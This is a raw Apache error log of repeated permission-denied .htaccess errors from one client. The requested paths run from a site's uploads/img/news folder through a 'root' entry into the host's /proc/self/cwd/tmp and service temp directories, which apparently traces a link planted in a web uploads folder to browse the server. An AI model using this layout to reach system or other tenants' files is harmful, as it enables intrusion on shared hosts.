[Fri Jul 17 09:19:46.913575 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-mxz52fb9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-mxz52fb9/' is executable
[Fri Jul 17 09:19:46.913605 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php73-php-fpm.service-M5NmS5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php73-php-fpm.service-M5NmS5/' is executable
[Fri Jul 17 09:19:46.913630 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/JjrX4tthrm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/JjrX4tthrm/' is executable
[Fri Jul 17 09:19:46.913662 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-chronyd.service-fhhvtF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-chronyd.service-fhhvtF/' is executable
[Fri Jul 17 09:19:46.913699 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php72-php-fpm.service-6EFLEh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php72-php-fpm.service-6EFLEh/' is executable
[Fri Jul 17 09:19:46.913896 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php72-php-fpm.service-EWzzHC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php72-php-fpm.service-EWzzHC/' is executable
[Fri Jul 17 09:19:46.913927 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-systemd-coredump@9-216503-0.service-7S6WUF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-systemd-coredump@9-216503-0.service-7S6WUF/' is executable
[Fri Jul 17 09:19:46.913951 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wszdajg8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wszdajg8/' is executable
[Fri Jul 17 09:19:46.914006 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-chronyd.service-hQ980M/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-chronyd.service-hQ980M/' is executable
[Fri Jul 17 09:19:46.914033 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/BmkZGZR0W_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/BmkZGZR0W_/' is executable
[Fri Jul 17 09:19:46.914193 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php74-php-fpm.service-KFeQBI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-90b18f9239f84449b4a70ce7349a2288-ea-php74-php-fpm.service-KFeQBI/' is executable
[Fri Jul 17 09:19:46.914291 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-chronyd.service-g4GrLs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-chronyd.service-g4GrLs/' is executable
[Fri Jul 17 09:19:46.914385 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-M7K2wH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-M7K2wH/' is executable
[Fri Jul 17 09:19:46.914423 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php83-php-fpm.service-vEiXtp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php83-php-fpm.service-vEiXtp/' is executable
[Fri Jul 17 09:19:46.914491 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php82-php-fpm.service-WeC2xz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php82-php-fpm.service-WeC2xz/' is executable
[Fri Jul 17 09:19:46.914523 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php73-php-fpm.service-8ju8bj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php73-php-fpm.service-8ju8bj/' is executable
[Fri Jul 17 09:19:46.914581 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php72-php-fpm.service-gqCNMc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php72-php-fpm.service-gqCNMc/' is executable
[Fri Jul 17 09:19:46.914668 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ka27um1o/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ka27um1o/' is executable
[Fri Jul 17 09:19:46.914929 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php74-php-fpm.service-QQ6vhy/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php74-php-fpm.service-QQ6vhy/' is executable
[Fri Jul 17 09:19:46.915162 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php74-php-fpm.service-nPV0Am/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php74-php-fpm.service-nPV0Am/' is executable
[Fri Jul 17 09:19:46.915675 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-chronyd.service-KHsEdD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-chronyd.service-KHsEdD/' is executable
[Fri Jul 17 09:19:46.922714 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php72-php-fpm.service-CTAyyh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php72-php-fpm.service-CTAyyh/' is executable
[Fri Jul 17 09:19:46.922810 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/goT3d4c6JH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/goT3d4c6JH/' is executable
[Fri Jul 17 09:19:46.922903 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php73-php-fpm.service-OQ6eUj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php73-php-fpm.service-OQ6eUj/' is executable
[Fri Jul 17 09:19:46.922996 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fhc_jhkg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fhc_jhkg/' is executable
[Fri Jul 17 09:19:46.923094 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/WjPkCNd_rS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/WjPkCNd_rS/' is executable
[Fri Jul 17 09:19:46.923238 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-pdns.service-dZKBTG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-pdns.service-dZKBTG/' is executable
[Fri Jul 17 09:19:46.923347 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php72-php-fpm.service-OsAQ1P/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php72-php-fpm.service-OsAQ1P/' is executable
[Fri Jul 17 09:19:46.923410 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-kin6lplc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-kin6lplc/' is executable
[Fri Jul 17 09:19:46.923478 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/cMRzTBysX7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/cMRzTBysX7/' is executable
[Fri Jul 17 09:19:46.923538 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php83-php-fpm.service-0jUFgl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php83-php-fpm.service-0jUFgl/' is executable
[Fri Jul 17 09:19:46.923632 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php72-php-fpm.service-TDuJxf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php72-php-fpm.service-TDuJxf/' is executable
[Fri Jul 17 09:19:46.923699 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/OIJQPFxDNs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/OIJQPFxDNs/' is executable
[Fri Jul 17 09:19:46.923768 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php82-php-fpm.service-qeeZm9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php82-php-fpm.service-qeeZm9/' is executable
[Fri Jul 17 09:19:46.923860 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/q2jccF7M3T/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/q2jccF7M3T/' is executable
[Fri Jul 17 09:19:46.923945 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/8X8jL1uuOt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/8X8jL1uuOt/' is executable
[Fri Jul 17 09:19:46.924017 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-pdns.service-uk7fdI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-pdns.service-uk7fdI/' is executable
[Fri Jul 17 09:19:46.924101 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php74-php-fpm.service-0K74F4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php74-php-fpm.service-0K74F4/' is executable
[Fri Jul 17 09:19:46.924161 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/EqCf9CWGMK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/EqCf9CWGMK/' is executable
[Fri Jul 17 09:19:46.924237 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php73-php-fpm.service-Ttcq92/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php73-php-fpm.service-Ttcq92/' is executable
[Fri Jul 17 09:19:46.924307 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php83-php-fpm.service-Xa41Dv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php83-php-fpm.service-Xa41Dv/' is executable
[Fri Jul 17 09:19:46.924377 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wn5lp19z/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-wn5lp19z/' is executable
[Fri Jul 17 09:19:46.924442 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-0ztboyf4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-0ztboyf4/' is executable
[Fri Jul 17 09:19:46.924511 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php81-php-fpm.service-IQE7Dx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php81-php-fpm.service-IQE7Dx/' is executable
[Fri Jul 17 09:19:46.924584 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/_jB4cGXLML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/_jB4cGXLML/' is executable
[Fri Jul 17 09:19:46.924668 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-pdns.service-aDRulZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-pdns.service-aDRulZ/' is executable
[Fri Jul 17 09:19:46.924817 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-pdns.service-4fXjg7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-pdns.service-4fXjg7/' is executable
[Fri Jul 17 09:19:46.924890 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/G2VKOBNPHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/G2VKOBNPHT/' is executable
[Fri Jul 17 09:19:46.925037 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php83-php-fpm.service-00Y0rx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php83-php-fpm.service-00Y0rx/' is executable
[Fri Jul 17 09:19:46.925171 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php83-php-fpm.service-fmObXk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php83-php-fpm.service-fmObXk/' is executable
